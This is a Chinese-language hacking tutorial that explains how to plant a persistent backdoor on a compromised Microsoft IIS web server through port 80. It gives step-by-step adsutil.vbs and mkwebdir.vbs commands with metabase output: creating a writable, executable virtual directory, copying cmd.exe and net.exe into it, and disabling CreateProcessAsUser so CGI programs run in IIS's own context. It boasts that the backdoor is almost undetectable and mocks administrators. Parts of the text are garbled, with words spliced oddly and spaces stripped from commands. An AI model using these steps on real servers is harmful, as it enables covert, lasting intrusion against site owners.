如何打造永远的IIS后门

IIS是比较流行的www服务器，设置不当漏洞就很多。入侵ii微端传奇务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是80端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在80端口留后门，来开启永远的后门。

如果你对此有情趣，跟我来...........


当IIS启动CGI应用程序时，缺省用CreateProcessAsUserAPI来创建该CGI的新Process,该程序的远程控制该服务器。这时可以有GUI的远程控制，比如3389，或者类telnettext方式的控制，比如rnc。nc肯定是可以用的,其实这也足够了。


1.telnet到服务器


2.cscript.exeadsutil.vbsenumw3svc/1/root

KeyType:(STRING)"IIsWebVirtualDir"

AppRoot:(STRING)"/LM/W3SVC/1/ROOT"

AppFriendlyName:(STRING)"默认应用程序"

AppIsolated:(INTEGER)2

AccessRead:(BOOLEAN)True

AccessWrite:(BOOLEAN)False

AccessExecute:(BOOLEAN)False

Accessscript:(BOOLEAN)True

AccessSource:(BOOLEAN)False

AccessNoRemoteRead:(BOOLEAN)False

AccessNoRemoteWrite:(BOOLEAN)False

AccessNoRemoteExecute:(BOOLEAN)False

AccessNoRemotescript:(BOOLEAN)False

HttpErrors:(LIST)(32Items)

"400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"

"401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"

"401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.htm"

"401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"

"401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"

"401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"

"403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"

"403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"

"403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"

"403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"

"403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"

"403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"

"403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"

"403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"

"403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"

"403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"

"403,11,FILE,C:\WINNT\help\iisHelp\common\403-11.htm"

"403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"

"403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"

"403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"

"403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"

"403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"

"404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"

"405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"

"406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"

"407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"

"412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"

"414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"

"500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"

"500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"

"500,15,FILE,C:\WINNT\help\iisHelp\common\500-15.htm"

"500,100,URL,/iisHelp/common/500-100.asp"

FrontPageWeb:(BOOLEAN)True

Path:(STRING)"c:\inetpub\wwwroot"

AccessFlags:(INTEGER)513

[/w3svc/1/root/localstart.asp]

[/w3svc/1/root/_vti_pvt]

[/w3svc/1/root/_vti_log]

[/w3svc/1/root/_private]

[/w3svc/1/root/_vti_txt]

[/w3svc/1/root/_vti_script]

[/w3svc/1/root/_vti_cnf]

[/w3svc/1/root/_vti_bin]

不要告诉我你不知道上面的输出是什么！！！！

现在我们心里已经有底了，是不是！呵呵管理员要倒霉了


3.mkdirc:\inetpub\wwwroot\dir1


4.cscript.exemkwebdir.vbs-cMyComputer-w"DefaultWebSite"-v"VirtualDir1","c:\inetpub\wwwroot\dir1"

这样就建好了一个虚目录：VirtualDir1

你可以用1的命令看一下


5.接下来要改变一下VirtualDir1的属性为execute

cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accesswrite"true"-s:

cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accessexecute"true"-s:

现在你已经可以upload内容到该目录，并且可以运行。你也可以把cmd.exenet.exe直接拷贝到虚拟目录的磁盘目录中。


6.以下命令通过修改iismetabase来迫使iis以本身的安全环境来创建新的CGIprocess

Cscriptadsutil.vbsset/w3svc/1/root/[yourdirectory]/createprocessasuserfalse

注释：cscriptwindowsscripthost.

adsutil.vbswindowsiisadministrationscript

后面是iismetabasepath

这样的后门几乎是无法查出来的，除非把所有的虚目录察看一遍（如果管理员写好了遗书，那他就去查吧）

 
 
*